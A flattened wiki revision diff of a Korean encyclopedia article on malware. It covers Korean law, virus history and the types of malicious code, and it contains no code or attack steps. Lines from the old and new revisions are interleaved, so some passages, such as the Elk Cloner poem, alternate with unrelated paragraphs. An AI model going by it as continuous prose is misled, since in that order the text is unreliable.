Difference between revisions of "악성 코드"

Jump to navigation Jump to search
25,169 bytes added ,  02:27, 30 June 2021
 
(3 intermediate revisions by the same user not shown)
Line 2: Line 2:
<div style="float: right; margin-left: 12px">__TOC__</div>
<div style="float: right; margin-left: 12px">__TOC__</div>


[[Malware]]
||'''정보통신망 이용촉진 및 정보보호 등에 관한 법률 제48조(정보통신망 침해행위 등의 금지)''' ① 누구든지 정당한 접근권한 없이 또는 허용된 접근권한을 넘어 정보통신망에 침입하여서는 아니 된다.
__② 누구든지 정당한 사유 없이 정보통신시스템, 데이터 또는 프로그램 등을 훼손·멸실·변경·위조하거나 그 운용을 방해할 수 있는 프로그램(이하 "악성프로그램"이라 한다)을 전달 또는 유포하여서는 아니 된다.__
③ 누구든지 정보통신망의 안정적 운영을 방해할 목적으로 대량의 신호 또는 데이터를 보내거나 부정한 명령을 처리하도록 하는 등의 방법으로 정보통신망에 장애가 발생하게 하여서는 아니 된다.
'''제71조(벌칙)''' 다음 각 호의 어느 하나에 해당하는 자는 5년 이하의 징역 또는 5천만원 이하의 벌금에 처한다.
1. 제22조제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 이용자의 동의를 받지 아니하고 개인정보를 수집한 자
2. 제23조제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 이용자의 동의를 받지 아니하고 개인의 권리·이익이나 사생활을 뚜렷하게 침해할 우려가 있는 개인정보를 수집한 자
3. 제24조, 제24조의2제1항 및 제2항 또는 제26조제3항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 개인정보를 이용하거나 제3자에게 제공한 자 및 그 사정을 알면서도 영리 또는 부정한 목적으로 개인정보를 제공받은 자
4. 제25조제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 이용자의 동의를 받지 아니하고 개인정보 취급위탁을 한 자
5. 제28조의2제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 이용자의 개인정보를 훼손·침해 또는 누설한 자
6. 제28조의2제2항을 위반하여 그 개인정보가 누설된 사정을 알면서도 영리 또는 부정한 목적으로 개인정보를 제공받은 자
7. 제30조제5항(제30조제7항, 제31조제3항 및 제67조에 따라 준용되는 경우를 포함한다)을 위반하여 필요한 조치를 하지 아니하고 개인정보를 제공하거나 이용한 자
8. 제31조제1항(제67조에 따라 준용되는 경우를 포함한다)을 위반하여 법정대리인의 동의를 받지 아니하고 만 14세 미만인 아동의 개인정보를 수집한 자
__9. 제48조제2항을 위반하여 악성프로그램을 전달 또는 유포한 자__
10. 제48조제3항을 위반하여 정보통신망에 장애가 발생하게 한 자
11. 제49조를 위반하여 타인의 정보를 훼손하거나 타인의 비밀을 침해·도용 또는 누설한 자||


== 개요 ==
[[컴퓨터 바이러스]], [[웜]], [[스파이웨어]], [[트로이 목마]] 등 [[컴퓨터]] 사용자에게 해를 끼치는 모든 [[코드]]([[code]])의 총칭. 이와 같은 분류 이외에도 다양한 분류가 있을수 있지만 악성코드의 초창기부터 현재까지 살아남은 분류는 저 정도이다. 요즘 악성코드는 필요에 따라 복합적으로 작동하기 때문에 위의 형식으로 구분하기 힘든 경우도 있다.


== 컴퓨터 바이러스 ==
[[바이러스]]가 어원이다.


원래는 단독 실행파일로 동작하는 트로이얀(Trojan)과는 달리 특정한 파일을 감염시켜서 해당 파일이 실행되면 동작하는 악성코드만을 일컫는 말이다. 그래서 바이러스라는 이름이 붙어있었지만, 현재는 그냥 전부 바이러스라고 부른다. 물론 대다수의 바이러스는 악성 바이러스.


지금의 컴퓨터 바이러스에 대한 개념과 유사한 물건이 처음으로 구상된 것은 아직 컴퓨터라는 것조차 생소했던 [[1949년]]으로 [[존 폰 노이만]]이 일리노이 대학에서 발표하였던 것으로 프로그램이 자체적으로 재생산되거나 자체적으로 재구성되는 것에 대한 개념에 대한 내용이었다.
== 설명 ==
'''[[악성코드]]''' [[malicious code]] (혹은, [[멀웨어]] [[malware]], [[악성 소프트웨어]], [[악성 프로그램]])는 "정상적"인 기능을 위해 만들어진 것이 아닌, 사용자에게 해악을 끼치는 "악의적" 목적으로 만들어진 모든 [[코드]]([[code]])의 총칭이다. [[정보통신망법]]에서는 '[[악성프로그램]]'이라고 한다.


[[1972년]]에는 [[SF]] [[소설]] [[작가]]인 마이클 크라이튼이 발간한 《The Terminal Man》에서 컴퓨터 바이러스와 유사한 것이 등장한다. 그의 소설속에서 컴퓨터는 전화 모뎀을 통하여 랜덤으로 숫자를 입력하여 전화를 걸었으며, 다른 컴퓨터에 연결될 때까지 이 과정을 반복한다. 그리고 만약 다른 컴퓨터로 접속이 되면 그 컴퓨터에게 자신과 같은 행동을 반복하도록 지시한다. 이제 두 번째 컴퓨터는 다시 모뎀을 통하여 또 다른 컴퓨터에게 접속을 시도한다. 그리고 점차 이러한 일을 벌이는 컴퓨터가 늘어나기 시작한다.
구현 방식으로 [[컴퓨터 바이러스]] ([[바이러스]]), [[트로이 목마]] ([[트로이목마]]), [[컴퓨터 웜]] ([[]])이 존재하며, 이와 별개로 실질적 행동에 따라서 따로 이름을 붙이기도 한다.
 
실제로 컴퓨터 바이러스라 부를 만한 최초의 물건은 1971년에 등장한 '크리퍼 바이러스'다.[wiki:"크리퍼(마인크래프트)"~~아아~~] 지금 기준으로 보자면 컴퓨터 바이러스 보다는 ''에 가까운 물건. 이것은 인터넷의 전신인 아르파넷을 통하여 퍼져나갔다. 이 프로그램은 아르파넷에 접속을 시도한 다음 다른 컴퓨터에 연결 되면 그곳으로 자신을 복사했다. 그런 다음 '나는 크리퍼, 날 잡아 봐라!(I`m the creeper, catch me if you can!)'이란 메시지를 내보낸다. 그리고는 다시 다른 아르파넷에 접속된 컴퓨터를 찾아 접속을 시도한다. 하지만 다른 컴퓨터로 이동하고 나면 원본은 지워지기 때문에, 실질적으로는 모든 컴퓨터중 오직 하나의 컴퓨터에만 크리퍼가 존재한다. 복사라기 보다는 이동의 개념이었던 것. 이는 엄밀히 말하자면 어떤 공격목적이라기 보다는 이러한 파일의 원격 전송등을 연구하기 위한 연구 개념으로 BBN이란 회사에 다니던 Bob Thomas가 개발한 것이다. 당시는 아직 개인용 컴퓨터(PC)가 없던 시절인데다가 운영체계도 컴퓨터마다 많이 달랐기 때문에 이 크리퍼는 TENEX 운영체계를 쓰는 PDP-10 컴퓨터에서만 활동할 수 있었다. 한편 이 크리퍼 파일을 지우기 위하여 'Reaper'라는 프로그램이 제작되었는데, 이는 최초의 컴퓨터 바이러스용 백신이라 할 수 있다.
   
||<tablealign=right>http://upload.wikimedia.org/wikipedia/commons/4/41/Rich_Skrenta.jpg||
|| 엘크 클로너의 개발자[[BR]]리처드 '리치' 스크렌타 ||
'이동'이 아니라 진짜 '복제' 개념이 들어간 최초의 바이러스는 '엘크 클로너(Elk Cloner)'라는 프로그램이다. 이는 1981~1982년 경에 만들어졌는데, 놀랍게도 이를 만든이는 당시 15세였던 리처드 '리치' 스크렌타라는 소년이었다(이 소년은 이제는 어른이 된 지금도 컴퓨터 프로그래머로 활동중이며 'blekko'라는 검색엔진 개발을 주도하기도 했다.). Elk Cloner는 Apple II 시스템에만 감염되었으며 부팅용 플로피 디스크에 감염되는 일종의 부트 섹터 바이러스였다. Elk Cloner는 부팅 된 이후 메모리에 남아있다가 만약 감염되지 않은 새로운 디스크가 컴퓨터에 들어오면 자신을 해당 디스크에 감염시켰다. 이런 식으로 Elk Cloner는 디스크에서 디스크를 통해 감염되는 프로그램이었다. Elk Cloner는 특별히 파괴적인 활동을 벌이지는 않았으며, 감염된 컴퓨터는(정확히는 플로피 디스크) 감염된 뒤 50번째로 부팅하면 다음과 같은 짧은 시를 출력했다.
||<#EEEEEE>Elk Cloner: The program with a personality
엘크 복제자 : 자아를 가진 프로그램’


It will get on all your disks
요즘은 예전과 달리 점점 악성코드 유포가 보안 절차를 회피하기 위해 여러 수단을 동시에 활용하며, 악성코드 유포 사유가 점점 더 "돈벌이"라는 현실적(?)인 목표로 변하고 있기 때문에 이전에 사용되던 3대 구현 방식만으로 분류하기는 어려워진 상태이다. 아예 랜섬웨어처럼 매우 독보적인 사례도 등장하였기 때문에, 구현 방식에 따른 구분은 요즘은 거의 사장되었으며, 보안 전문가들도 용어를 혼용, 심지어 오남용하는 경우가 많다.
‘그 것은 너의 모든 디스크를 취하며’


It will infiltrate your chips
사실, 악성코드를 진짜 제대로 [[악성 코드]]라는 원칙적 이름으로 불러주는 나라는 악성코드 등장 초기 부터 정부 정책 수준으로 악성코드라는 이름을 못 박아둔 [[한국]] 말고는 없다고 봐도 무방하다.[* 일례로, 이웃나라 [[일본]]의 경우 [[형법]] ([[일본 형법]])에서 '[[부정지령전자적기록]](不正指令電磁的記録)'이라는 표현을 쓰고 있다. 잘못된 명령을 내리는 전자적 기록이라는 뜻.] 대부분의 보안전문가들이 일반인과 별반 다를거 없이 악성코드를 여러가지 "엄밀하지 못한" 용어들로 부르는 경우가 많다. 이 때문에 보안 업계에서 약장수급 용어 사용이 일어나 비판받기도 한다.
‘그 것은 네 칩 속을 드나들지 ’


Yes, it's Cloner!
정부차원에서 [[사이버 전쟁]]을 위해 악성코드를 제작해 상대방 국가의 주요 기관이나 시설을 공격하는 행태도 있다.
‘그래, 그것은 복제자!
   
It will stick to you like glue
‘그 것은 끈끈이처럼 너에게 들러붙고’


It will modify RAM too
== 종류 ==
‘그 것은 너의 램 또한 휘저어 놓지’
악성코드의 종류를 엄밀히 나누는 것은 매우 어렵다. 이유는 대부분의 경우 효과적으로 작동하기 위해 여러가지 기능이 뒤섞여 있기 때문이다. 예를 들어 웜이 바이러스처럼 실행파일을 감염시키고 내부에 트로이 목마를 포함하고 있다거나 하는 경우가 많다. 이 때문에 같은 악성코드라도 보안업체마다 분류가 다른 경우가 많으며, 보안 전문가들도 용어를 혼동하여 사용하는 경우가 잦다.
=== 작동 방식에 따른 분류 ===
모든 악성코드는 기본적으로 이 3가지 범주안에 들어간다. 시스템의 각종 보안 절차를 아예 회피하기 위해 운영체제의 보안 허점등을 이용해 조용히 "합법"으로 위장, 혹은 아예 진짜 "합법"적으로 활동하는 "악성"코드들도 일단은 이 3가지 범주를 벗어날 수 없다.


Send in the Cloner!
하지만 요즘은 이 3가지 범주 중 하나에 집착하지 않고, 그냥 돈벌이(?)를 위해 모든 수단을 다 동원하다 보니 상당히 유명무실해진 분류이기도 하다. 물론, 혼동을 막기 위해 이 3가지 분류는 기능적(?) 분류와는 다르단건 알아두자.
‘복제자를 들여보내라!’||


--감자칩을 감염시켜라!!-- 내용을 보자면 시라고 하기엔 약간 무섭긴 하다. 컴퓨터를 잘 모르는 이가 보기엔 마치 컴퓨터가 진짜 자아를 가져서 이런 메시지를 출력하는 것으로 여길지도 모르니. 한편 이 Elk Cloner는 실질적으로 별다른 피해를 주는 것은 없었고, 이 Elk cloner가 퍼져나간 범위도 개발자인 스크렌타의 주변인물 정도였기 때문에 이것에 대한 백신이 개발된 적은 없다고 한다. [http://xcoolcat7.tistory.com/824 Elk Cloner에 대한 분석]
각 분류의 가장 중요한 '실용적' 특징은 다음과 같다.


현재와 같은 개념의 최초 바이러스는 [[1986년]]에 [[파키스탄]]에서 만들어진 [[브레인 바이러스]]이며,[* 이 바이러스는 3년 뒤 [[대한민국]]에서도 발견된다. 인터넷이 대중화되기 전의 시절이라 파키스탄에서 한국까지 오는데 3년이 걸린 것이다.] 초기 바이러스는 애들 장난 수준의 귀여운[* 1990년 인도에서 발생한 Joshi 바이러스는 매년 1월 5일마다 오늘이 자신의 생일이라는 것을 기념해달라며 Type "Happy Birthday Joshi"라는 문구를 입력하는데, 이걸 따라서 타이핑하면 '''끝이다.''' 근데 이 해결법을 모르면 그냥 부팅 불가. 따라서 피해를 안 준다고는 할 수 없다.](?) 바이러스였지만, 순식간에 파괴적이고 해괴한 바이러스가 많이 등장하면서(이미 1980년대 말부터 예루살렘 바이러스 등 컴퓨터 바이러스로 인한 문제가 심각한 문제가 되었다.) 요즘에는 여차하면 컴퓨터 하나 날려먹는 정도는 일도 아니게 되어 버렸다.
* 컴퓨터 바이러스: [[바이러스|다른 코드들을 감염시킬 수 있다.]]
* 트로이목마: [[함정카드|정상 코드인 것처럼 보이지만 (혹은 아예 이게 뭔지도 모르지만) 사실 원래부터 악성코드.]]
* 웜: 네트워크를 통해 구현된다. (다른 코드를 감염시키거나, 정상 코드로 위장하지 않아도 된다.)


[[인터넷]]발달하면서 요즘에는 아예 실행되면 스스로 프로세스에 올라가 있으면서 네트워크를 통해 스스로 증식해버리는 바이러스인 [[웜]]이 기승을 떨치고 있으며, 바이러스의 95%이상은 보통 [[윈도우즈]]용이지만, 가끔 [[맥]]용이나 [[유닉스]], [[피쳐폰]], [[닌텐도 DS]]용 바이러스도 있다. [[아이폰 3GS]] 이후 대중화된 [[스마트폰]] 시대에서는 [[wiki:"안드로이드(OS)" 안드로이드]]를 노리는 바이러스가 상당히 증가하여 [[스미싱]] 등의 보안 문제를 낳고 있기도 하다. 일종의 사회 문제.
요즘은 보안 절차를 회피하기 위해 정상 코드로 위장하는 것이 기본기 수준이 되었기 때문에 웜은 물론, 심지어 전통적 컴퓨터 바이러스 조차도 일단은 트로이목마 방식을 병용하고 있는 경우가 많다. 사실, 트로이목마 방식이란 것도 정상코드로 위장하는 방식 자체 보다는, 아예 이게 뭔지도 모르고, 언제 들어온 건지도 모르고, 그냥 그 자리에 몰래 들어와 보안 절차를 죄다 우회하는, 트로이목마 형태가 가진 장점에 집중한 형태로 사용되는 경우가 대부분이다.
==== [[컴퓨터 바이러스]] ====
[[바이러스]]가 어원이다. 문자 그대로 바이러스처럼 행동하는 악성코드라서 이런 이름이 붙었다. 이 악성코드 작동 방식의 가장 중요한 특징은 생물학적 바이러스와 비슷하게, '''다른 코드에 끼어들어가 감염시킬 수 있다'''는 것.  


여담으로 윈도우용 바이러스는 생각보다 만들기 쉽다. bat파일의 작성법만 터득해도 10줄 이내의 코드만으로도 바이러스를 제작할 수 있다. 바이러스라는 물건은 거창한 수단으로 만들어지는 프로그램이 아닌 '악의적인 목적'을 가진 그 어떤 간단한 프로그램이라도 바이러스라 정의할 수 있기 때문이다. 자세한 방법은 정보통신법에 저촉되기에 [[더 이상의 자세한 설명은 생략한다]]. 이 바이러스의 장점이라면 코드가 너무 원시적이라 '''어떤 백신에도 잡히지 않는다'''는 점이다. 단점이라면 bat파일의 특성상 무차별적인 파일/폴더 파괴가 불가능하고 소스 코드를 알기 쉽다는 것, 따라서 대처하기 쉽다는 방법이 있다. 그래도 특정 파일 삭제[* 특히 시스템 파일]나 시작 프로그램 강제 등록, 시스템 강제 종료 정도는 쉽게 가능하니[* [[UAC]]의 등장으로 이제 원시 바이러스도 [[윈도우 비스타]] 이상에서는 활동하기 힘들게 되었다.] 주의하도록 하자.
악성코드를 통틀어 바이러스라고 하는 경우가 많은데, 엄밀한 의미의 컴퓨터 바이러스는 실제 바이러스와 비슷하게 다른 코드 속에 끼어 들어가 해당 코드가 실행될 때 같이 동작하면서 (= 자가실행 불가) 자기 코드를 복제해 다른 코드에 끼워 넣으며 확산되는 (=자기복제) 방식의 악성코드만을 말한다.
=== 관련 항목 ===
* [[디도스]]
* [[백신]]
* [[해킹]]
* [[해커]]
* [[크래킹]]
* [[제로 데이 공격]]
* [[APT]] 공격


=== 리그베다 위키에 작성된 바이러스 목록(발생년도순) ===
트로이 목마와 다르게 정상 코드에 자기 코드를 끼워 넣는 (=감염) 방식이며, 따라서 처음부터 악성코드를 정상코드로 속여서 전파되는 트로이 목마와는 다르다. 트로이목마는 감염이 아닌 위장을 취하므로 바이러스와 달리 자가복제 기능이 굳이 필요하지 않다.
* [[브레인 바이러스]] (1986)
* [[13일의 금요일]] 바이러스 (1987)
* [[비엔나 바이러스]] (1987)
* [[스톤드 바이러스]] (1987)
* [[폭포 바이러스]] (1987)
* [[LBC 바이러스]] (1989)
* [[미켈란젤로 바이러스]] (1991)
* [[카지노 바이러스]] (1991)
* [[안젤리나 바이러스]] (1994)
* [[CIH 바이러스]] (1998)
* [[러브 바이러스]] (2000)
* [[블래스터 웜]] (2003)
* [[킨타마 바이러스]] (2004)
* [[whboy바이러스]] (2006)
* [[스턱스넷]] (2006)
* [[레긴]] (2008)
* [[2090 바이러스]] (2009)
* [[GENO바이러스]] (2009)
* [[gogo2me]] (2009)
* [[CryptoLocker]] (2013)
* ~~[[lose/lose]]~~[* 제작자가 해당 프로그램의 기능을 제대로 공지했으므로 악의성을 가진 다른 악성코드와는 의도가 다르지만, 어쨌거나 사용자의 동의 없이 멋대로 사용자 권한을 조작한다는 점에서 악성코드라고 볼 수 있다. 백신에서도 악성코드로 진단한다.]
* ~~[[Nginx]]~~[* DNS변경 악성코드 땜시 멀쩡한 웹서버 소프트웨어가 악성코드 취급 받는 경우]
* ~~[[nProtect]]~~


== 웜 ==
웜의 경우 네트워크 상에서 존재하며 해당 네트워크에 연결된 모든 기기를 공격할 수 있기 때문에 자가복제 자체가 필요 없다. 물론, 피해를 더 악화시키기 위해 바이러스의 방식, 곧 데이터 파괴를 끼워넣을 수는 있고, 비슷한 개념으로 웜으로 구현된 랜섬웨어가 있다. (워너크라이 등)
다른 프로그램에 감염되어 전파되는 [[컴퓨터]] [[바이러스]]와는 달리 자체적으로 실행되면서 다른 컴퓨터에 전파가 가능한 [[프로그램]]을 따로 일컫는 말. 이것도 역사가 [[1980년대]] 말까지 거슬러 올라간다.


처음 나왔을 때는 [[컴퓨터]]의 자료를 직접적으로 파괴하기보다는 컴퓨터 안에서 무한정 증식하면서 컴퓨터의 [[메모리]]나 [[CPU]] 등 자원을 잡아먹음으로써 이용에 지장을 주는 것이 고작이었다. 그러나 이후 악질적인 행동을 하는 코드가 추가된 웜이 계속 나옴으로써 악성 바이러스와 다름없는 존재가 되었다.
백도어나 스파이웨어의 경우 만들기에 따라서 트로이 목마, 웜, 바이러스 3가지 형태 중 아무거나 골라 만들 수 있다. 쉽게 말해 백도어나 스파이웨어를 숙주 컴퓨터에 심기 위해 트로이 목마, 웜, 바이러스 형태로 만들어진다.


주요 감염 통로로는 [[E-Mail]], 공유 폴더, 특정 네트워크 포트 등이 있다. 특히 [[운영체제]]의 [[보안]] 취약성을 이용하는 경우가 많으니 [[백신]]을 설치하는 것 외에도 보안 패치가 나올 때마다 꼬박꼬박 설치하는 것이 매우 중요하다.
컴퓨터 바이러스는 다른 데이터의 코드들 변형 시키는 작동 방식 덕분에 보안 프로그램에게 적발되기 쉽고, 네트워크 전체를 작살낼 수 있는 웜과 달리 전파가 까다로워 요즘은 거의 보기 힘든 악성코드 유형이지만, 한번 감염되면 온갖 코드에 다 끼어들어가 코드를 더럽히고 작동하면서 데이터를 죄다 파괴하는 것이 가능하므로, 일단 피해가 발생할 경우 제일 더러운 유형이다. 이 때문에 데이터를 공격해 자기복제 하는 개념 자체는 도태되었더라도, 데이터를 파괴하는 실질적 효과는 요즘도 대부분의 악성코드에 첨가된다.


예전에 [[마이크로소프트]]에서 미래에는 웜을 이용해서 [[운영체제]] 업데이트를 실시할 예정이라고 발표했다가 신나게 쳐 까인 적이 있다.[* 다만 이런 아이디어는 [[리처드 도킨스]] 역시 진지하게 고려하고 있었다. 더 나아가 미래에는 웜과 호환되는 운영체제만이 살아남을 것이라고 내다보기도 했다. (도킨스의 저서 'Devil's Chaplain'에서)]
~~엄밀히 따지면 돈이 안 되는 방식이라 도태된 것이다.~~[* 컴퓨터 바이러스의 경우 바이러스 코드 자체를 암시장에 판매하는 수익 모델을 취하나, 랜섬웨어는 감염된 사용자에게서 직접 돈을 갈취하므로 돈도 더 잘 벌리고 코드의 재사용도 용이하다.]
==== [[트로이 목마(악성코드)|트로이 목마]] ====
얼핏 보기엔 정상코드인것 같거나, 혹은 악성코드 여부를 당최 알 수 없지만, 사실 원래부터 "악성코드"를 무료로 첨가(...)해둔, 즉 태생이 원래 악성코드인 것들을 지칭한다.


== [[트로이 목마]] ==
악성코드 유포자 입장에선 아예 사용자가 보안 프로그램을 무용지물로 만들어 주는 것이 제일 편리하다. 따라서, 요즘은 대부분의 악성코드가 부분적으로라도 트로이 목마 방식을 가지고 있다.
Trojan


어떤 의미로는 [[스파이]]의 [[프로그램]] 버전. 이름의 유래는 [[트로이 전쟁]]의 트로이 목마에서 유래되었으며, [[트로이의 목마]]가 뭔지 아는 사람들이라면 바로 느낌이 올거라고 본다.
자세한 것은 해당 문서 참조.
==== [[웜(악성코드)|웜]] ====
개별 단말들의 데이터에 들어가서 개별적으로 작동하는 것이 아니라, 이 단말들을 묶은 네트워크 상에서 구현되는 악성코드를 이르는 말이다. 네트워크에 연결된 모든 단말들에 영향을 끼칠 수 있으므로 가장 강력한 악성코드 구현 방식이기도 하다. 이러다보니 전통적인 "작동 방식에 따른 분류"를 엄밀히 따르는 것으론 거의 유일하게 살아남은 부류이다.


말 그대로 정상적인 프로그램으로 위장하여 시작부터 끝까지 램에 상주하며, 시스템 내부 정보를 공격자의 컴퓨터로 빼돌리는 프로그램이다. 어떤 의미로는 [[좀비PC]]와 유사한데, [[좀비PC]]처럼 내부정보 유출 뿐만 아니라 컨트롤까지 가능한 종류가 있고, 단순히 내부 데이터만 유출할 수 있는 타입의 트로이 목마가 있다.
다만, "네트워크 상"에서 존재하는 만큼 각 단말의 개별 사용자가 아닌, 네트워크 관리자의 감시를 받게 되기 때문에, 다른 구현 방식에 비해 훨씬 치밀한 보안 절차를 뚫어야 하는 단점이 있다. 대신, 일단 성공하면 네트워크에 물린 단말들이 싸그리 작살나므로 피해가 무지막지하다.


위에서 말하는 정상적인 프로그램을 착각하는 사람들이 많은데, 원래 있던 정상적인 프로그램에 기생하는것이 아닌 '''설치하는 순간부터 이미 프로그램에 포함돼있다는 것이다.''' 즉 개발자님 께서 친절하게도(?) 개발 단계부터 트로이 목마를 무료로 포함시켜 주시는 거다. 출처가 불분명한 [[프리웨어]] 프로그램을 주의해야 하는 이유가 바로 이런 이유 때문이다.
요즘은 일반인이 웜을 경험하는 일이 드물고, 대개 조직 단위에서나 친숙하게 만나는 부류이다. 일반인이 직접 체감할 정도의 사안은 대게 "피해가 발생하는 줄도 모르는" 경우가 많고, 각종 보안 업데이트로 쥐도 새도 모르게 틀어막혀 진다. 물론, 요즘도 워너크라이 같이 악랄한 사태가 터지는 경우가 없진 않다.


상용프로그램에도 들어있는 경우가 있는데, 이런 경우는 99%가 [[불법복제]]로 설치되는 프로그램이다. 이런 경우는 멀쩡한 정품 프로그램 데이터 안에 트로이목마도 포함시켜 설치되게 하는 경우다.[* 아주 드문 경우지만 정품 상용 프로그램에 들어있는 경우도 있다. 보통 이런경우는 고객몰래 마케팅 조사용.]
자세한 것은 해당 문서 참조.


다른 바이러스와 다른점이 있다면, 다른 바이러스들같이 자가복제를 하거나 다른 정상적인 파일에 자기 자신을 덮어 씌우거나 하지 않고, 해당하는 트로이목마 프로그램 하나만 삭제하면 더이상의 피해는 없다.
=== 특성에 따른 분류 ===


하지만 일부 트로이 목마의 경우, 트로이목마 본체를 삭제하면 본체속에 프로그램 중요 작동소스를 집어넣어서 해당 프로그램을 먹통으로 만들어 버리는 경우도 있다. 그러나 자기 집과 동반자살 하는 경우는 귀여운 편이고, 어떤건 삭제할려고 시도할 경우 [[컴퓨터]]를 무한부팅 시켜 버리거나, [[커널]]을 파괴하여 동반자살을 하는 경우도 있으니 주의해야 한다.
==== [[스파이웨어]] ====
컴퓨터에 사용자의 동의 없이 설치되어 개인정보 등을 빼가는 악의적 소프트웨어다. 자세한 것은 해당 문서 참조.


가끔 프로그램을 불법다운받을 때, 보안 프로그램에서 트로이목마 바이러스가 발견되었다고 뜨긴 뜨는데, 치료하면 그 프로그램이 실행이 안되고, 보안 프로그램을 꺼두면 프로그램이 실행된다. 불법다운은 그렇다쳐도 혹시 컴퓨터 문제가 발생하지도 모르니 웬만하면 당당하게 돈주고 정품 프로그램을 사자. (국내정발이 아니면 ㅠㅠ)
==== [[백도어]] ====
백도어는 말 그대로 ''뒷문''이라는 뜻으로, 시스템 접근에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용 프로그램 또는 시스템에 접근하여 컴퓨터 속의 정보를 빼내가거나 특정 작업을 하도록 제작된 프로그램이다.


== 스파이웨어 ==
==== 루트킷 ====
스파이웨어는 사용자의 컴퓨터에 몰래 설치되어 사용자가 알지 못하는 상태에서 각종 정보를 기록 &amp; 빼돌리기 기능을 수행한다.
단일 컴퓨터 또는 일련의 컴퓨터 네트워크에 대해 관리자 레벨의 접근을 가능하도록 하는 도구(프로그램)집합이다.
시스템 침입 후 침입 사실을 숨긴 채 차후의 침입을 위한 백도어, 트로이목마 설치, 원격 접근, 내부 사용 흔적 삭제, 관리자 권한 획득 등 주로 불법적인 해킹에 사용되는 기능들을 제공하는 프로그램의 모음이다.


이것이 악성코드로 취급되지 않는 예외가 있다면 [[군]] 부대나 [[회사]] 같이 보안이 중요시 되는 곳은 사용자의 감시를 위해 쓰는 경우가 있다.
루트킷이 설치되면 자신이 뚫고 들어온 모든 경로를 바꾸어 놓고, 명령어들을 은폐해 놓기 때문에 해커가 시스템을 원격으로 해킹하고 있어도 루트킷이 설치되어 있는 사실조차 감지하기 어렵다.


== 랜섬웨어 ==
침입자는 먼저 암호를 크래킹 하거나 시스템 취약점을 찾아내어 사용자용 접근 권한을 획득한 뒤, 컴퓨터에 루트킷을 설치한다.
이름의 어원은 ransom(인질) + ware. 이름 그대로 감염자 컴퓨터의 데이터를 인질로 삼아, 해당 데이터들에 접근할 수 없게 암호화를 걸고, 잠금을 해제하는 키를 대가로 금품을 요구하는 악성코드의 통칭이다. 우리나라에 가장 잘 알려진 랜섬웨어는 마이컴고, [[CryptoLocker]]가 있다.
루트킷은 네트워크상의 다른 컴퓨터에 있는 사용자 ID와 암호들을 탐지하여 해커에게 루트 권한, 시스템 정보 그리고 기타 특수한 접근 권한을 제공한다. 또한 트래픽이나 키스트로크 감시, 해커 이용 목적의 시스템 내 백도어 설치, 로그파일 수정, 네트워크상의 다른 컴퓨터 공격, 탐지 회피를 위한 기존 시스템 도구의 수정 등의 기능을 제공한다.


== 기타 악성코드 ==
==== 키로그 ====
* [[가짜 악성코드 괴담]]
사용자가 키보드로 입력하는 것을 모두 기록한다. 흔히 해킹툴 같은 것에서 볼 수 있다. IDT 후킹을 이용한다. 하드웨어 키로거도 있다.([[https://www.google.co.kr/search?q=hardware+keylogger&newwindow=1&safe=active&biw=1920&bih=926&source=lnms&tbm=isch&sa=X&ved=0ahUKEwj78rzej67MAhXDI6YKHazIChIQ_AUIBigB|사진]])
* 과금형 악성코드: ARS 또는 유료 SMS(건당 x원)서비스에 전화를 걸어 돈이 빠져나가게 되는 경우 [[http://ahnlabgirl.cafe24.com/ahnlab/1390?TSSESSIONblogahnlabcom=3bc39ed8573551b5118dfc8566fc30bc 안랩의 글]]
* [[애드웨어]]: 광고를 보여주는데 사용자의 동의가 없는 경우, 제거하기 힘들게 설치되어 사용자에게 피해를 유발하는 경우, 단 사용자의 동의가 있으면서 피해를 유발하지 않는 것은 해당되지 않는다.
* [[조크바이러스]]
* [[허위백신]]
* --[[조선미녀삼총사]]--
* ~~[[에네]]~~
* ~~[[KD 운송그룹]]~~ : [[경부고속도로]] 버스전용차로에서 80km/h를 고수하며 저속주행하는 것을 두고 [[버스 갤러리]]에서 악성코드 깔린 컴퓨터처럼 ~~크드(KD)~~ 버스가 느리게 간다고 까는 말이다. [[조선일보]]에 버갤 글을 소재로 아예 전면을 할애해서 기사를 냈을 정도..


== 함께 보기 ==
==== 암호화폐 마이너 ====
* [[컴퓨터 관련 정보]]
사용자 몰래 [[암호화폐]]를 채굴하는 프로그램.
 
비트코인 채굴은 CPU 사용량을 많이 사용하기 때문에, 컴퓨터가 느려질 수 있으며, CPU가 아닌 GPU로 채굴을 하기도 해서 그래픽카드의 수명을 갉아먹기도 한다. 따라서 비트코인 채굴을 한 적이 없는데, 알 수 없는 프로세스가 CPU 사용량을 과다하게 사용하고 있는 경우에는 비트코인 마이너로 의심하고 av로 검사해보도록 하자.
 
대부분의 av는 비트코인 마이너를 탐지한다.
==== [[랜섬웨어]] ====
[include(틀:상세 내용, 문서명=랜섬웨어)]
이름의 어원은 Ransom(인질) + Ware. 이름 그대로 감염자 컴퓨터의 데이터에 접근할 수 없게 [[암호화]][* 일명 '''encrypted.''']를 걸고, 데이터를 [[인질]]로 삼아 잠금을 해제하는 키를 대가로 금품을 요구하는 악성코드의 통칭이다.[* 이거 당했을 때 '''절대로''' 돈을 보내지 말자. 어짜피 다 속임수이다.] 악성코드 가운데서도 가장 질이 나쁘고 악랄한 종류로 현재로서는 예방을 해도 확신할 수 없는, '''최악의 악성코드.''' 지금으로서의 최선의 예방책은 [[스팸메일|신뢰하지 못할 메일]]을 열어보거나, 사이트를 들어가지 않는 것이다.
 
==== [[애드웨어]] ====
광고를 보여주는 프로그램을 통칭한다. 사용자 동의 없이 몰래 설치되는 악성코드일 수도 있지만, 눈속임을 통해 은근슬쩍 사용자의 동의를 받고 설치되는 PUP 형태도 많다. 자세한 것은 해당 문서 참조.
 
합법적(?)으로 활동하는 경우도 많다보니 정보통신망법에서도 악성코드와는 별도로 규정하고 있다. 일단 악성 활동을 하니 엄밀히 따지면 합법(?) 여부와 무관하게 악성코드이긴 하다.
 
=== 기타 ===
* --[[가짜 악성코드 괴담]]--: 실존하지 않는 악성코드가 존재한다고 사람을 속이는 행위. 컴퓨터의 영역은 아니다.
* 과금형 악성코드: ARS 또는 유료 SMS(건당 x원) 서비스에 전화를 걸어 돈이 빠져나가게 되는 경우.([[http://ahnlabgirl.cafe24.com/ahnlab/1390?TSSESSIONblogahnlabcom=3bc39ed8573551b5118dfc8566fc30bc|안랩의 글]])
